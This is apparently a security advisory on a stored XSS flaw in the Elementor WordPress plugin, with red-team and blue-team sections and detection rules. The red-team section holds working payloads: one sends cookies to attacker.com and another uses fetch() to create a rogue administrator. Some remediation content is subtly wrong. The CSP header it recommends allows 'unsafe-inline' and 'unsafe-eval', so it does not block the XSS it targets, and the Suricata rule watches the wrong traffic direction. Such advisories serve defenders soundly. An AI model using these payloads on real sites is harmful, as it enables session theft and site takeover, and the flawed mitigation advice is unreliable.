CVE-2024-54444

Executive Summary

CVE-2024-54444 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Website Builder plugin for WordPress, affecting versions up to and including 3.25.10. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages or posts. When a site administrator or other user views the compromised content, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not implicate the underlying web server software (Apache or Nginx).

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because:

• Widespread Adoption: Elementor is one of the most popular WordPress page builders, with over 5 million active installations.
• Delayed Patching: As of this report, no official patch has been released, leaving all sites running version 3.25.10 or earlier exposed.
• Dependency Chain: Sites using Elementor may also rely on third-party add-ons or themes that could be leveraged in a broader attack.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
Base Score: 6.5 (Medium)

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required – The victim must view the compromised page or post.
• Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the widespread use of Elementor and the lack of a patch elevate the real-world risk. An attacker who compromises a low-privilege account can escalate to a full site takeover by targeting an administrator.

Deep Dive & Mechanics

The vulnerability resides in the Elementor Website Builder’s handling of user input when constructing page or post content. Specifically, the plugin fails to properly sanitize or escape user-supplied data before rendering it in the browser. This allows an attacker to inject malicious HTML and JavaScript code that is stored on the server (e.g., in a post or page) and executed when the content is loaded by a victim.

Root Cause: The elementor plugin uses dynamic content features that allow users to insert custom fields, shortcodes, or other data. When this data is not properly neutralized, an attacker can embed a payload such as:

<script>alert('XSS')</script>

or more sophisticated payloads that steal cookies or perform actions on behalf of the victim.

Attack Flow:

1. Reconnaissance: The attacker identifies a WordPress site running Elementor <= 3.25.10.
2. Account Compromise: The attacker obtains contributor-level credentials (e.g., via phishing, brute force, or another vulnerability).
3. Injection: The attacker creates or edits a page/post and inserts a malicious script in a field that is not sanitized (e.g., a custom CSS class, HTML widget, or dynamic tag).
4. Trigger: An administrator or other privileged user views the compromised page.
5. Exploitation: The script executes in the administrator’s session, allowing the attacker to create new admin accounts, install malicious plugins, or exfiltrate data.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (Elementor <= 3.25.10):

// In a widget or dynamic tag handler
function render_content($settings) {
    $user_input = $settings['custom_field'];
    echo '<div class="' . $user_input . '">Content</div>';
}

The $user_input is directly echoed without sanitization, allowing injection of "><script>...</script>.

Patched Code (Expected):

function render_content($settings) {
    $user_input = esc_attr($settings['custom_field']); // Escape for HTML attribute
    echo '<div class="' . $user_input . '">Content</div>';
}

The esc_attr() function escapes special characters, preventing attribute-based XSS. For HTML contexts, wp_kses() or esc_html() should be used.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Elementor <= 3.25.10 installed.
• Contributor-level credentials (e.g., contributor:password).

Step-by-Step Exploitation:

1. Login as a contributor.
2. Create a new post and add an Elementor widget that accepts user input (e.g., the "HTML" widget or a custom CSS class field).
3. Inject payload:

   <img src=x onerror=alert(document.cookie)>
   

   Or for session hijacking:

   <script>new Image().src='http://attacker.com/steal.php?c='+document.cookie;</script>
   

4. Publish the post (or save as draft and trick an admin to preview).
5. Wait for an admin to view the post. The script executes, sending the admin’s session cookie to the attacker’s server.

Advanced Payload (Admin account creation):

<script>
fetch('/wp-admin/user-new.php', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'action=createuser&user_login=eviladmin&email=evil@example.com&pass1=EvilPass123&role=administrator&_wpnonce='+document.querySelector('[name=_wpnonce_create-user]').value
});
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual post/page creation by low-privilege users.
• Look for posts containing <script>, onerror, onload, or other event handlers in the database.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Hunting:

• Query the WordPress database for posts with suspicious content:

  SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%<script>%' OR post_content LIKE '%onerror%';
  

• Review Elementor’s wp_postmeta for malicious data in _elementor_data or _elementor_css.

Containment:

• Immediately disable the Elementor plugin if exploitation is suspected.
• Reset all user sessions and force password changes.
• Remove malicious posts/pages from the database.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to known attacker-controlled domains (e.g., attacker.com/steal.php).
  • Unusual Referer headers pointing to /wp-admin/post-new.php or /wp-admin/post.php.
• Host:
  • Presence of <script> tags or event handlers in wp_posts.post_content or wp_postmeta.
  • New administrator accounts created by non-admin users.
  • Modified .htaccess or wp-config.php files (post-exploitation).
• File:
  • Suspicious files in /wp-content/uploads/elementor/ or /wp-content/plugins/elementor/ (e.g., PHP shells).
• Logs:
  • Repeated 404 errors for /wp-admin/admin-ajax.php with action=elementor_ajax (potential probing).
  • Access logs showing POST requests to /wp-admin/admin-ajax.php with large payloads.

Detection Engineering

YARA Rule

rule CVE_2024_54444_Elementor_XSS {
    meta:
        description = "Detects stored XSS payloads in Elementor content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54444"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: CVE-2024-54444 Elementor Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS payloads in WordPress posts created via Elementor
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
    keywords:
        - '<script>'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in Elementor widgets
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-54444 Elementor Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Elementor until a patch is released.
2. Restrict user roles: Ensure only trusted users have contributor access or higher.
3. Apply virtual patching: Use a WAF to block XSS payloads in POST requests to admin-ajax.php with action=elementor_ajax.
4. Monitor logs: Actively search for exploitation attempts using the IOCs and detection rules above.

Long-Term Fix:

• Await an official patch from Elementor (expected in version 3.25.11 or later).
• Once patched, update the plugin immediately.
• Conduct a security audit of all user-generated content for injected scripts.

Workarounds:

• Use a security plugin like Wordfence to add an additional layer of XSS filtering.
• Implement Content Security Policy (CSP) headers to mitigate the impact of XSS:

  Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
  

  Note: This may break some Elementor functionality.

Valters IT
Securing Digital Frontiers